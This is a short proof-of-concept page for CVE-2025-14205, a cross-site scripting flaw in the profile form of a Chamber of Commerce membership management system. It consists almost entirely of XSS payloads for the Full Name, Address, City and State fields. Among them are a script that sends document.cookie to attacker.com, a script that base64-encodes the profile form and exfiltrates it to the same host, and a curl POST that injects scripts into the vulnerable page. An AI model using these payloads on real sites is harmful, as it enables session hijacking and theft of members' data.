CVE-2025-14205 Chamber of Commerce会员管理系统XSS漏洞

<!-- CVE-2025-14205 PoC - XSS in Chamber of Commerce Membership Management System --> <!-- Target: /membership_profile.php --> <!-- Vulnerable Parameters: Full Name, Address, City, State --> <!-- XSS Payload Examples --> <!-- Basic Script Injection --> <script>alert(document.cookie)</script> <!-- Image Tag Error Handler XSS --> <img src=x onerror=alert('XSS')> <!-- Event Handler XSS --> <svg/onload=alert(document.domain)> <!-- Cookie Stealing Payload --> <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> <!-- Form Submission to Steal Data --> <script> var data = document.getElementById('profile-form').innerHTML; fetch('https://attacker.com/exfil?data='+btoa(data)); </script> <!-- HTTP Request Example (using curl to submit malicious data) --> <!-- curl -X POST 'http://target.com/membership_profile.php' -d 'full_name=<script>alert(1)</script>&address=<img src=x onerror=alert(1)>&city=test&state=test' -->